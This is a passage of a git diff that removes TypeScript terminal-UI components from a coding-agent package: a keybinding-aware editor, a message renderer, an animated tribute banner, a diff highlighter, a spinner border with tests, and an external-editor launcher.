"@singularity-forge/pi-tui"; -import type { - AppAction, - KeybindingsManager, -} from "../../../core/keybindings.js"; - -/** - * Custom editor that handles app-level keybindings for coding-agent. - */ -export class CustomEditor extends Editor { - private keybindings: KeybindingsManager; - public actionHandlers: Map void> = new Map(); - - // Special handlers that can be dynamically replaced - public onEscape?: () => void; - public onCtrlD?: () => void; - public onPasteImage?: () => void; - /** Handler for extension-registered shortcuts. Returns true if handled. */ - public onExtensionShortcut?: (data: string) => boolean; - - constructor( - tui: TUI, - theme: EditorTheme, - keybindings: KeybindingsManager, - options?: EditorOptions, - ) { - super(tui, theme, options); - this.keybindings = keybindings; - } - - /** - * Register a handler for an app action. - */ - onAction(action: AppAction, handler: () => void): void { - this.actionHandlers.set(action, handler); - } - - handleInput(data: string): void { - // Check extension-registered shortcuts first - if (this.onExtensionShortcut?.(data)) { - return; - } - - // Check for paste image keybinding - if (this.keybindings.matches(data, "pasteImage")) { - this.onPasteImage?.(); - return; - } - - // Check app keybindings first - - // Escape/interrupt - only if autocomplete is NOT active - if (this.keybindings.matches(data, "interrupt")) { - if (!this.isShowingAutocomplete()) { - // Use dynamic onEscape if set, otherwise registered handler - const handler = this.onEscape ?? this.actionHandlers.get("interrupt"); - if (handler) { - handler(); - return; - } - } - // Let parent handle escape for autocomplete cancellation - super.handleInput(data); - return; - } - - // Exit (Ctrl+D) - only when editor is empty - if (this.keybindings.matches(data, "exit")) { - if (this.getText().length === 0) { - const handler = this.onCtrlD ?? this.actionHandlers.get("exit"); - if (handler) handler(); - return; - } - // Fall through to editor handling for delete-char-forward when not empty - } - - // Check all other app actions - for (const [action, handler] of this.actionHandlers) { - if ( - action !== "interrupt" && - action !== "exit" && - this.keybindings.matches(data, action) - ) { - // When kitty protocol is not active, \x1b\r is ambiguous: - // it could be alt+enter (followUp) or shift+enter mapped via /terminal-setup. - // Prioritize newLine since that's what terminal-setup configures. - // Alt+enter followUp still works in kitty-protocol terminals. - if ( - action === "followUp" && - !isKittyProtocolActive() && - data === "\x1b\r" - ) { - break; // Fall through to parent editor's newLine handling - } - handler(); - return; - } - } - - // Pass to parent for editor handling - super.handleInput(data); - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/custom-message.ts b/packages/pi-coding-agent/src/modes/interactive/components/custom-message.ts deleted file mode 100644 index bd38ba58b..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/custom-message.ts +++ /dev/null @@ -1,113 +0,0 @@ -import type { TextContent } from "@singularity-forge/pi-ai"; -import type { Component } from "@singularity-forge/pi-tui"; -import { - Box, - Container, - Markdown, - type MarkdownTheme, - Spacer, - Text, -} from "@singularity-forge/pi-tui"; -import type { MessageRenderer } from "../../../core/extensions/types.js"; -import type { CustomMessage } from "../../../core/messages.js"; -import { getMarkdownTheme, theme } from "../theme/theme.js"; - -/** - * Component that renders a custom message entry from extensions. - * Uses distinct styling to differentiate from user messages. - */ -export class CustomMessageComponent extends Container { - private message: CustomMessage; - private customRenderer?: MessageRenderer; - private box: Box; - private customComponent?: Component; - private markdownTheme: MarkdownTheme; - private _expanded = false; - - constructor( - message: CustomMessage, - customRenderer?: MessageRenderer, - markdownTheme: MarkdownTheme = getMarkdownTheme(), - ) { - super(); - this.message = message; - this.customRenderer = customRenderer; - this.markdownTheme = markdownTheme; - - this.addChild(new Spacer(1)); - - // Create box with purple background (used for default rendering) - this.box = new Box(1, 1, (t) => theme.bg("customMessageBg", t)); - - this.rebuild(); - } - - setExpanded(expanded: boolean): void { - if (this._expanded !== expanded) { - this._expanded = expanded; - this.rebuild(); - } - } - - override invalidate(): void { - super.invalidate(); - this.rebuild(); - } - - private rebuild(): void { - // Remove previous content component - if (this.customComponent) { - this.removeChild(this.customComponent); - this.customComponent = undefined; - } - this.removeChild(this.box); - - // Try custom renderer first - it handles its own styling - if (this.customRenderer) { - try { - const component = this.customRenderer( - this.message, - { expanded: this._expanded }, - theme, - ); - if (component) { - // Custom renderer provides its own styled component - this.customComponent = component; - this.addChild(component); - return; - } - } catch { - // Fall through to default rendering - } - } - - // Default rendering uses our box - this.addChild(this.box); - this.box.clear(); - - // Default rendering: label + content - const label = theme.fg( - "customMessageLabel", - theme.bold(`[${this.message.customType}]`), - ); - this.box.addChild(new Text(label, 0, 0)); - this.box.addChild(new Spacer(1)); - - // Extract text content - let text: string; - if (typeof this.message.content === "string") { - text = this.message.content; - } else { - text = this.message.content - .filter((c): c is TextContent => c.type === "text") - .map((c) => c.text) - .join("\n"); - } - - this.box.addChild( - new Markdown(text, 0, 0, this.markdownTheme, { - color: (text: string) => theme.fg("customMessageText", text), - }), - ); - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/daxnuts.ts b/packages/pi-coding-agent/src/modes/interactive/components/daxnuts.ts deleted file mode 100644 index ba36846a5..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/daxnuts.ts +++ /dev/null @@ -1,169 +0,0 @@ -/** - * POWERED BY DAXNUTS - Easter egg for OpenCode + Kimi K2.5 - * - * A heartfelt tribute to dax (@thdxr) for providing free Kimi K2.5 access via OpenCode. - */ - -import { - type Component, - type TUI, - visibleWidth, -} from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; - -// 32x32 RGB image of dax, hex encoded (3 bytes per pixel) -const DAX_HEX = - "bbbab8b9b9b6b9b8b5bcbbb8b8b7b4b7b5b2b6b5b2b8b7b4b7b6b3b6b4b1bdbcb8bab8b6bbb8b5b8b5b1bbb8b4c2bebbc1bebac0bdbabfbcb9c1bebabfbebbc0bfbcc0bdbabbb8b5c1bfbcbfbcb8bbb9b6bfbcb8c2bfbcc1bfbcbfbbb8bdb9b6b8b7b5b9b8b5b8b8b5b5b5b2b6b5b2b8b7b4b9b8b5b9b8b5b6b5b3bab8b5bcbab7bbb9b6bbb8b5bfb9b5bdb2abbcb0a8beb2aabeb5afbfbab6bebab7c0bfbcbebdbabebbb8c0bdbabfbebbc2bebbbdbab7c3c0bdc3c0bdc1bebbc2bebabfbcb8bab9b6b7b6b3b2b1aeb6b5b2b5b4b1b5b4b2b6b5b2b7b6b4b9b8b6b7b6b3bbbab7b2afaba5988fb49e90b09481b79a88b39683b09583b7a395bfb6b0c0bdbabdbbb8bebcb9c1bfbcc0bebbbdbab7bebbb8c2bfbcc0bdbac0bcb9bdb9b6c0bcb8b5b4b2b4b3b0bab9b6b9b9b6b5b4b1b5b4b1b6b5b3b9b8b5b9b8b6b9b8b6b2aeaa968174a6836eaa856eab846eaf8973ac8973b08f79b18f7ab39786b7a89dbbb3aebfbab6c2c0bdbebcb9bfbdbac3c1bdc2bebbc0bcb9bdb9b6c1bdbabfbbb8b4b3b0b9b8b5b8b7b5b4b3b1b5b4b1b8b7b4b8b7b5bab9b6bbbab7b1afad8c7a719d735ca47860a87d65a98069ae8972ae8c75af8d77aa826ba98067aa8974b39e90b6a79dbbb2adc0bdbac1bfbdbfbbb8c1bdb9bebab6c0bdb9bfbbb8c1bdbab4b2b0b7b6b4b7b6b3b4b2b0bab9b7b6b5b2b6b5b2bab9b6bab9b6958c87977663aa836bac8772b08f7aad8c77b2917db0917db0907cac8971a77d64a87f67ac8972b29887b8a89dbfbab5bfbdbac1bebac0bcb9c0bcb9c0bcb9c1bebabebab7b8b7b4b7b6b4b5b4b1b5b4b2b7b6b3b5b4b2bab9b7bab9b6b4b1ada88f7fad8973ae8d78b19684b19685b29786b69a89b29582b1917daa856ea87e66a97e66ad866ea9826baf9280b8ada6bdbbb8bebab7bfbbb8c1bdbabfbbb8bcb8b4bcb8b5b6b4b2b7b5b3b6b5b2b8b7b4b3b2afb8b7b4b6b5b2b3b2b0b3a59aab856fad8d78b0917eb19886b49b8bb49a89b39785b0917eaf8f7cab866fa77d65a77a61a87d64a9816ab08f79b5a296c1bcb8c3bfbcc2bebbbebab7bfbbb7bdbab6c2bebab8b7b4b7b6b4b6b5b3b7b6b3b6b5b2b9b8b6b4b3b1b6b1acac8f7ca9826bae8f7aaf9583b49c8cb49c8bb79d8cb59987b19380ad8e79ae8c77af8e78ac8771a3775faa826bae8972b39888bbb6b2bebbb8bfbbb8bfbbb8c0bdb9bebbb7c0bdb9b6b5b2b9b8b5b4b3b1b8b7b5b4b3b0b7b6b4b6b5b3b1a7a0aa8772a77d65a88570b49887b19b8d9c887c907a6d987f71aa907faf917daf8e7aad8c78ac8b77a8836ca9836cac8770b49b8abdb6b2c0bcb9c0bdb9bfbbb8bebab7bfbcb9bebab7b9b8b6b5b4b2b9b8b5b8b7b5b8b7b4b7b6b4b5b4b2b3a9a2ad8973a1755da9856fb398858c776a65544b776358725d526e594d9c7f6eb1907ba68672ad8e7aab8771ac856db18f79b3a092beb9b5c1bdbabdb9b5bebab7bfbbb7bebab7bcb9b6b7b6b4b6b6b3b8b7b4b5b4b2b8b6b4b7b6b3b4b3b0b4aba4a6826ba3775fb08e79b19584a88e7daa8e7db29481ad8f7c997e6da38674ac8d79ac8e7aae917f9a7c6a896a599a7c6ab3a398c1bdbabdb9b6bcb8b5bebab6bebab7bdb9b5bdb9b6b5b4b1b7b5b3b5b4b2b7b6b3b7b6b4b3b3b0b3b2b0b4aca5a7846fa97f68ae8f7bae9383b59c8bb2937fae8e79ac8b76af927eaf927eb29683b39885b2988891786a72594c6e594d978d86bdbab7bab7b3c0bcb9c0bcb9bebab7bebbb7bdb9b6b3b2b0b4b3b0b5b4b2b4b4b1b4b3b1b4b3b1b4b3b0b6ada5aa8670a57a62ad8e7ab29b8cb69d8dab856fa9826aa88069ab8771af907db49987b19684b29886b59987b39480b09787b5a9a1bcb8b5bebab7bdb9b5bebab7bfbbb8bfbbb7bbb7b4b3b2afb8b7b5b8b7b5b3b2b0b5b4b2b6b5b3b6b4b1afa299a98975a9826baf907cb39988b49a89af8e7aac8973aa856eaf8c74b1917dae907dac907db39988b29785b49785b7a090b9aca3bfbab7bcb8b5bdb9b6bcb8b4bcb8b5bdb9b5bcb8b4b5b4b2b6b5b3b4b3b0b4b3b0b9b8b5b8b6b4908b88887467aa8f7ea78976ad8973b08b74b59885b69e8eb29888b1917cb1917db1937fae907cb19686b39a8ab29886b59b8ab8a192b6aaa3b7b2afbcb8b4bcb8b5bbb7b4c0bcb9bebab7c0bcb9b6b5b2b6b5b3b4b3b0bab9b7b7b6b4b1b0ae7b716ba083709b806f716158967764b08870b29481b69b8ab69f8fb39a89b69f90b49d8db39a89b29988b49c8cb6a090b8a496baa49593867f8f8986bfbbb7bdb9b5bcb7b4bab6b3b9b5b2bab6b2b4b3b1b3b3b0b6b5b3b8b7b5b4b2b0a7a5a38f837dae917ea084725a504c63544da28370b39784b59e8db2a093a698909b918b998e8790857e95877dad998bb39c8cb5a091b9a2938d827c95908dbebab6bbb7b3bdbab7bbb7b4bdb9b6bbb7b4b4b3b0b5b4b1b8b7b5b6b5b3b8b8b5b4b2af968f8ab29a8bab9485544b483a323073655d96887f70655f61595547403e453e3c453f3d57504f655e5b90847db39c8db7a090b6a09189807aaba6a3bdb9b6c0bcb9bebab7bcb7b4bebab7bbb7b4b3b2b0b6b5b3b2b1afb7b6b4b8b7b4b5b4b1aeaba8b5a89fac998d4d44412d25244d46444e4744322b293a3230423937433a37352d2a59504c534b48524a48988a81b59f8fb19c8d827974b2afacbdb9b5bcb8b4bdb9b5bcb8b5bdb9b6bab6b2b8b7b5b5b4b2b6b6b3b9b8b5b7b6b3b6b5b2b8b6b3b9b4b1b2a9a26c64612d25242d2625312a28352d2c453d3a78675c8d7a6ea09792aea6a0615854332b29524a479f8e82b09d90a49b96c1bdb9bebab7bfbbb8bbb8b4b9b5b1b8b4b0b9b4b0b7b6b4b8b7b5b8b7b4b6b5b3b8b6b3bab9b6b9b8b5b4b3b0b7b5b2a5a29f453d3b261e1d261f1e2e2625413936857268977865b19482b5a69caca5a07c7572453d3b746963a0948cc5bfbbc0bbb8beb9b6bbb7b3bbb6b3b7b3afb8b4b0b9b5b1b7b6b3b6b5b3b5b4b2b5b4b2b7b6b3b7b6b3b8b6b3b4b2afb7b6b3b3b1ae6d6765251f1e1e18172a22212d2523443b3971625ab19888b09482a89182877e792c25243e3634766d6abeb9b5bfbbb7bebab6bcb7b3bbb6b3b9b5b1b7b3afb8b4b0b4b3b0b5b4b1b5b4b1b4b3b1b5b4b2b8b6b4b5b3b0b9b6b4b5b4b1b6b4b27f79762a2322221c1b2d2524221b1a443e3c47413f6f676281766f867971675e5a3e37352a222166605dbab7b3bdb9b5beb9b5bcb7b3bcb7b3b9b4b0bab6b2bab6b2b5b3b0b6b4b2b3b2afb7b6b3b4b4b1b4b3b0b6b4b1b5b4b1b4b3b0b9b6b29a8c8252474230292828201f181212322c2c231e1d1c16162c26252923222d26252d2523332b2a8e8885bcb8b5bcb7b3bbb6b2bcb7b3b9b4b1b9b5b1b7b2afb7b2ae7a838e9b9b9caeadacb3b2b0b3b2afb7b7b4b6b5b3b6b6b3b7b6b3b9ada4a991808e7b6f50453f2b24231a14142923221f19181d17161f18182620201d17162a22215d5654b7b3b0bbb7b3bbb6b2b8b4b0bab5b1bbb6b2bab5b1b8b4b0bab6b22c496b4c5d735f68766e727a828285929090adaba8b7b2aeb6a59ab39682a28470a387748e76674e403a1a14141d1716181211221c1c1f1918221c1b2f2827342d2c8d8884bab6b3b9b5b2bab5b1bab5b1b9b4b0bab6b2b8b4b0b9b4b0b7b2ae325e8b365f8a3a5d833f5b7a545f70646469706b6aa08f84b08e78b18e769f7e689e7f6b9e816d907766584940362d2a1c1615201b1a1a1413201a1a251e1d393331a39e9bbab5b1bcb7b3bab6b2b8b3afb8b4b0b9b4b0b9b4b1bab5b2b5b0ac3d6c9843729d44719c426e98415f805a64716f6a699d8677b1927eb3947faa89749d7a649f7f6ba487749e837186716454463f2c25231e181837302e3a33317a7471beb9b6bcb8b4bbb6b2b6b2aebab5b1b9b5b1b8b3afbab6b2b6b1adb5aeaa4877a14c7aa44e7ba345719a3a5d80586b7f767475927b6eb1927faf8e79b08e78a78169a07861a17f6aa58570a688749b83738270666f66618a8480a49e99b7b2aebab6b2bcb8b4b9b5b1b7b2aebab5b1b9b4b0b6b1aeb6b1adb2aca8b2aca84876a04a78a2517fa74771973a5d80405c7a6161677c695fac8a75b08d77b4917aaf8971ad876fa5816aa6846ea78670a98a76ac9484ab9f96b2aca8bdb8b4bcb7b3bcb8b4bcb8b4b8b3afb7b2aeb9b4b0b8b3afb8b2aeb6afabb3aeaab2aeaa4878a14b7aa34c7ba44a759b3d63873b5f825b67766f5f569c7e6caf8c77b18f79b28f78b5927caf8e78a98872aa8a76a98a76ac917fada199b7b0acb9b3afbfb9b5c1bab6bdb6b2b8b3afbab5b1b9b4b0b6afabb7b1adb3ada9b3aeaab0aba8"; - -const WIDTH = 32; -const HEIGHT = 32; - -function parseImage(): number[][][] { - const pixels: number[][][] = []; - for (let y = 0; y < HEIGHT; y++) { - const row: number[][] = []; - for (let x = 0; x < WIDTH; x++) { - const idx = (y * WIDTH + x) * 6; - const r = parseInt(DAX_HEX.slice(idx, idx + 2), 16); - const g = parseInt(DAX_HEX.slice(idx + 2, idx + 4), 16); - const b = parseInt(DAX_HEX.slice(idx + 4, idx + 6), 16); - row.push([r, g, b]); - } - pixels.push(row); - } - return pixels; -} - -function rgb(r: number, g: number, b: number, bg = false): string { - return `\x1b[${bg ? 48 : 38};2;${r};${g};${b}m`; -} - -const RESET = "\x1b[0m"; - -function buildImage(): string[] { - const pixels = parseImage(); - const lines: string[] = []; - - // Use half-block chars: ▄ with bg=top pixel, fg=bottom pixel - for (let row = 0; row < HEIGHT; row += 2) { - let line = ""; - for (let x = 0; x < WIDTH; x++) { - const top = pixels[row][x]; - const bottom = pixels[row + 1]?.[x] ?? top; - line += `${rgb(bottom[0], bottom[1], bottom[2])}${rgb(top[0], top[1], top[2], true)}▄`; - } - line += RESET; - lines.push(line); - } - return lines; -} - -export class DaxnutsComponent implements Component { - private ui: TUI; - private image: string[]; - private interval: ReturnType | null = null; - private tick = 0; - private maxTicks = 25; // ~2 seconds at 80ms - private cachedLines: string[] = []; - private cachedWidth = 0; - private cachedTick = -1; - - constructor(ui: TUI) { - this.ui = ui; - this.image = buildImage(); - this.startAnimation(); - } - - invalidate(): void { - this.cachedWidth = 0; - } - - private startAnimation(): void { - this.interval = setInterval(() => { - this.tick++; - if (this.tick >= this.maxTicks) { - this.stopAnimation(); - } - this.cachedWidth = 0; - this.ui.requestRender(); - }, 80); - } - - private stopAnimation(): void { - if (this.interval) { - clearInterval(this.interval); - this.interval = null; - } - } - - render(width: number): string[] { - if (width === this.cachedWidth && this.cachedTick === this.tick) { - return this.cachedLines; - } - - const t = theme; - const lines: string[] = []; - - const center = (s: string) => { - const visible = visibleWidth(s); - const left = Math.max(0, Math.floor((width - visible) / 2)); - return " ".repeat(left) + s; - }; - - lines.push(""); - - // Scanline reveal effect: show rows progressively - const revealedRows = Math.min( - this.image.length, - Math.floor((this.tick / this.maxTicks) * (this.image.length + 3)), - ); - - for (let i = 0; i < this.image.length; i++) { - if (i < revealedRows) { - lines.push(center(this.image[i])); - } else { - // Show scan line - if (i === revealedRows) { - const scanline = "▓".repeat(WIDTH); - lines.push(center(rgb(100, 200, 255) + scanline + RESET)); - } else { - lines.push(center(" ".repeat(WIDTH))); - } - } - } - - lines.push(""); - - // Fade in text after image is revealed - const textPhase = Math.max(0, this.tick - this.maxTicks * 0.6); - if (textPhase > 0 || this.tick >= this.maxTicks) { - lines.push(center(t.fg("accent", "Free Kimi K2.5 via OpenCode Zen"))); - lines.push(center(t.fg("success", '"Powered by daxnuts"'))); - lines.push(center(t.fg("muted", "— @thdxr"))); - } else { - lines.push(""); - lines.push(""); - lines.push(""); - } - - lines.push(""); - if (textPhase > 2 || this.tick >= this.maxTicks) { - lines.push(center(t.fg("dim", "Try OpenCode"))); - // URL removed — was pointing to an incorrect destination - lines.push(center(t.fg("mdLink", "opencode.ai"))); - } else { - lines.push(""); - lines.push(""); - } - lines.push(""); - - this.cachedLines = lines; - this.cachedWidth = width; - this.cachedTick = this.tick; - return lines; - } - - dispose(): void { - this.stopAnimation(); - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/diff.ts b/packages/pi-coding-agent/src/modes/interactive/components/diff.ts deleted file mode 100644 index eed7da771..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/diff.ts +++ /dev/null @@ -1,179 +0,0 @@ -import * as Diff from "diff"; -import { theme } from "../theme/theme.js"; - -/** - * Parse diff line to extract prefix, line number, and content. - * Format: "+123 content" or "-123 content" or " 123 content" or " ..." - */ -function parseDiffLine( - line: string, -): { prefix: string; lineNum: string; content: string } | null { - const match = line.match(/^([+\- ])(\s*\d*)\s(.*)$/); - if (!match) return null; - return { prefix: match[1], lineNum: match[2], content: match[3] }; -} - -/** - * Replace tabs with spaces for consistent rendering. - */ -function replaceTabs(text: string): string { - return text.replace(/\t/g, " "); -} - -/** - * Compute word-level diff and render with inverse on changed parts. - * Uses diffWords which groups whitespace with adjacent words for cleaner highlighting. - * Strips leading whitespace from inverse to avoid highlighting indentation. - */ -function renderIntraLineDiff( - oldContent: string, - newContent: string, -): { removedLine: string; addedLine: string } { - const wordDiff = Diff.diffWords(oldContent, newContent); - - let removedLine = ""; - let addedLine = ""; - let isFirstRemoved = true; - let isFirstAdded = true; - - for (const part of wordDiff) { - if (part.removed) { - let value = part.value; - // Strip leading whitespace from the first removed part - if (isFirstRemoved) { - const leadingWs = value.match(/^(\s*)/)?.[1] || ""; - value = value.slice(leadingWs.length); - removedLine += leadingWs; - isFirstRemoved = false; - } - if (value) { - removedLine += theme.inverse(value); - } - } else if (part.added) { - let value = part.value; - // Strip leading whitespace from the first added part - if (isFirstAdded) { - const leadingWs = value.match(/^(\s*)/)?.[1] || ""; - value = value.slice(leadingWs.length); - addedLine += leadingWs; - isFirstAdded = false; - } - if (value) { - addedLine += theme.inverse(value); - } - } else { - removedLine += part.value; - addedLine += part.value; - } - } - - return { removedLine, addedLine }; -} - -export interface RenderDiffOptions { - /** File path (unused, kept for API compatibility) */ - filePath?: string; -} - -/** - * Render a diff string with colored lines and intra-line change highlighting. - * - Context lines: dim/gray - * - Removed lines: red, with inverse on changed tokens - * - Added lines: green, with inverse on changed tokens - */ -export function renderDiff( - diffText: string, - _options: RenderDiffOptions = {}, -): string { - const lines = diffText.split("\n"); - const result: string[] = []; - - let i = 0; - while (i < lines.length) { - const line = lines[i]; - const parsed = parseDiffLine(line); - - if (!parsed) { - result.push(theme.fg("toolDiffContext", line)); - i++; - continue; - } - - if (parsed.prefix === "-") { - // Collect consecutive removed lines - const removedLines: { lineNum: string; content: string }[] = []; - while (i < lines.length) { - const p = parseDiffLine(lines[i]); - if (!p || p.prefix !== "-") break; - removedLines.push({ lineNum: p.lineNum, content: p.content }); - i++; - } - - // Collect consecutive added lines - const addedLines: { lineNum: string; content: string }[] = []; - while (i < lines.length) { - const p = parseDiffLine(lines[i]); - if (!p || p.prefix !== "+") break; - addedLines.push({ lineNum: p.lineNum, content: p.content }); - i++; - } - - // Only do intra-line diffing when there's exactly one removed and one added line - // (indicating a single line modification). Otherwise, show lines as-is. - if (removedLines.length === 1 && addedLines.length === 1) { - const removed = removedLines[0]; - const added = addedLines[0]; - - const { removedLine, addedLine } = renderIntraLineDiff( - replaceTabs(removed.content), - replaceTabs(added.content), - ); - - result.push( - theme.fg("toolDiffRemoved", `-${removed.lineNum} ${removedLine}`), - ); - result.push( - theme.fg("toolDiffAdded", `+${added.lineNum} ${addedLine}`), - ); - } else { - // Show all removed lines first, then all added lines - for (const removed of removedLines) { - result.push( - theme.fg( - "toolDiffRemoved", - `-${removed.lineNum} ${replaceTabs(removed.content)}`, - ), - ); - } - for (const added of addedLines) { - result.push( - theme.fg( - "toolDiffAdded", - `+${added.lineNum} ${replaceTabs(added.content)}`, - ), - ); - } - } - } else if (parsed.prefix === "+") { - // Standalone added line - result.push( - theme.fg( - "toolDiffAdded", - `+${parsed.lineNum} ${replaceTabs(parsed.content)}`, - ), - ); - i++; - } else { - // Context line - result.push( - theme.fg( - "toolDiffContext", - ` ${parsed.lineNum} ${replaceTabs(parsed.content)}`, - ), - ); - i++; - } - } - - return result.join("\n"); -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.test.ts b/packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.test.ts deleted file mode 100644 index 2d7cb3077..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.test.ts +++ /dev/null @@ -1,60 +0,0 @@ -import assert from "node:assert/strict"; -import { afterEach, describe, it, vi } from "vitest"; - -import { DynamicBorder } from "./dynamic-border.js"; - -function makeTUI() { - return { - renderCount: 0, - requestRender() { - this.renderCount++; - }, - }; -} - -describe("DynamicBorder spinner", () => { - afterEach(() => { - vi.useRealTimers(); - }); - - it("spinner_when_external_renders_are_recent_still_requests_tick_render", () => { - vi.useFakeTimers(); - const border = new DynamicBorder((s) => s); - const tui = makeTUI(); - - border.startSpinner(tui as any, (s) => s); - assert.equal(tui.renderCount, 1, "initial render on startSpinner"); - - // Simulate an externally triggered render from streaming immediately before - // the spinner tick. The spinner must still schedule its own redraw so the - // working indicator does not look frozen during active output. - border.render(80); - vi.advanceTimersByTime(200); - - assert.equal( - tui.renderCount, - 2, - "spinner tick should request render even after a recent render", - ); - - border.stopSpinner(); - }); - - it("spinner_when_no_external_render_occurs_requests_tick_render", () => { - vi.useFakeTimers(); - const border = new DynamicBorder((s) => s); - const tui = makeTUI(); - - border.startSpinner(tui as any, (s) => s); - const initialCount = tui.renderCount; - - vi.advanceTimersByTime(200); - - assert.ok( - tui.renderCount > initialCount, - "spinner should trigger requestRender when no recent external render", - ); - - border.stopSpinner(); - }); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.ts b/packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.ts deleted file mode 100644 index 7dd6afe14..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.ts +++ /dev/null @@ -1,91 +0,0 @@ -import type { Component, TUI } from "@singularity-forge/pi-tui"; -import { visibleWidth } from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; - -/** - * Dynamic border component that adjusts to viewport width. - * Supports an optional animated spinner in the label area. - * - * Note: When used from extensions loaded via jiti, the global `theme` may be undefined - * because jiti creates a separate module cache. Always pass an explicit color - * function when using DynamicBorder in components exported for extension use. - */ -export class DynamicBorder implements Component { - private color: (str: string) => string; - private label?: string; - private spinnerFrames = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]; - private spinnerIndex = 0; - private spinnerInterval: NodeJS.Timeout | null = null; - private spinnerColorFn?: (str: string) => string; - - constructor( - color: (str: string) => string = (str) => { - try { - return theme.fg("border", str); - } catch { - return str; - } - }, - label?: string, - ) { - this.color = color; - this.label = label; - } - - setLabel(label: string | undefined): void { - this.label = label; - } - - /** - * Start an animated spinner that prepends to the label. - * The spinner rotates every 200ms and triggers a re-render via the TUI. - */ - startSpinner(ui: TUI, colorFn: (str: string) => string): void { - this.stopSpinner(); - this.spinnerColorFn = colorFn; - this.spinnerIndex = 0; - this.spinnerInterval = setInterval(() => { - this.spinnerIndex = (this.spinnerIndex + 1) % this.spinnerFrames.length; - ui.requestRender(); - }, 200); - ui.requestRender(); - } - - /** - * Stop the spinner animation. The border reverts to a static label. - */ - stopSpinner(): void { - if (this.spinnerInterval) { - clearInterval(this.spinnerInterval); - this.spinnerInterval = null; - } - this.spinnerColorFn = undefined; - } - - get isSpinning(): boolean { - return this.spinnerInterval !== null; - } - - invalidate(): void { - // No cached state to invalidate currently - } - - render(width: number): string[] { - const spinnerPrefix = - this.spinnerInterval && this.spinnerColorFn - ? this.spinnerColorFn(this.spinnerFrames[this.spinnerIndex]) + " " - : ""; - - if (this.label) { - const labelText = ` ${spinnerPrefix}${this.label} `; - const labelVisible = visibleWidth(labelText); - const leading = "── "; - const remaining = Math.max(0, width - labelVisible - leading.length); - const trailing = "─".repeat(Math.max(1, remaining)); - // Color leading and trailing separately so embedded ANSI in the - // spinner/label doesn't bleed into the trailing dashes. - return [this.color(leading) + labelText + this.color(trailing)]; - } - return [this.color("─".repeat(Math.max(1, width)))]; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/extension-editor.ts b/packages/pi-coding-agent/src/modes/interactive/components/extension-editor.ts deleted file mode 100644 index 0de21d93e..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/extension-editor.ts +++ /dev/null @@ -1,155 +0,0 @@ -/** - * Multi-line editor component for extensions. - * Supports Ctrl+G for external editor. - */ - -import { spawnSync } from "node:child_process"; -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import { - Container, - Editor, - type EditorOptions, - type Focusable, - getEditorKeybindings, - Spacer, - Text, - type TUI, -} from "@singularity-forge/pi-tui"; -import type { KeybindingsManager } from "../../../core/keybindings.js"; -import { getEditorTheme, theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { appKeyHint, keyHint } from "./keybinding-hints.js"; - -export class ExtensionEditorComponent extends Container implements Focusable { - private editor: Editor; - private onSubmitCallback: (value: string) => void; - private onCancelCallback: () => void; - private tui: TUI; - private keybindings: KeybindingsManager; - - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.editor.focused = value; - } - - constructor( - tui: TUI, - keybindings: KeybindingsManager, - title: string, - prefill: string | undefined, - onSubmit: (value: string) => void, - onCancel: () => void, - options?: EditorOptions, - ) { - super(); - - this.tui = tui; - this.keybindings = keybindings; - this.onSubmitCallback = onSubmit; - this.onCancelCallback = onCancel; - - // Add top border - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - - // Add title - this.addChild(new Text(theme.fg("accent", title), 1, 0)); - this.addChild(new Spacer(1)); - - // Create editor - this.editor = new Editor(tui, getEditorTheme(), options); - if (prefill) { - this.editor.setText(prefill); - } - // Wire up Enter to submit (Shift+Enter for newlines, like the main editor) - this.editor.onSubmit = (text: string) => { - this.onSubmitCallback(text); - }; - this.addChild(this.editor); - - this.addChild(new Spacer(1)); - - // Add hint - const hasExternalEditor = !!(process.env.VISUAL || process.env.EDITOR); - const hint = - keyHint("selectConfirm", "submit") + - " " + - keyHint("newLine", "newline") + - " " + - keyHint("selectCancel", "cancel") + - (hasExternalEditor - ? ` ${appKeyHint(this.keybindings, "externalEditor", "external editor")}` - : ""); - this.addChild(new Text(hint, 1, 0)); - - this.addChild(new Spacer(1)); - - // Add bottom border - this.addChild(new DynamicBorder()); - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - // Escape or Ctrl+C to cancel - if (kb.matches(keyData, "selectCancel")) { - this.onCancelCallback(); - return; - } - - // External editor (app keybinding) - if (this.keybindings.matches(keyData, "externalEditor")) { - this.openExternalEditor(); - return; - } - - // Forward to editor - this.editor.handleInput(keyData); - } - - private openExternalEditor(): void { - const editorCmd = process.env.VISUAL || process.env.EDITOR; - if (!editorCmd) { - // No editor configured — nothing to do. - // The main interactive-mode handler shows a warning with an iTerm2 hint; - // this component is a secondary editor so we silently bail. - return; - } - - const currentText = this.editor.getText(); - const tmpFile = path.join( - os.tmpdir(), - `pi-extension-editor-${Date.now()}.md`, - ); - - try { - fs.writeFileSync(tmpFile, currentText, "utf-8"); - this.tui.stop(); - - const [editor, ...editorArgs] = editorCmd.split(" "); - const result = spawnSync(editor, [...editorArgs, tmpFile], { - stdio: "inherit", - shell: process.platform === "win32", - }); - - if (result.status === 0) { - const newContent = fs.readFileSync(tmpFile, "utf-8").replace(/\n$/, ""); - this.editor.setText(newContent); - } - } finally { - try { - 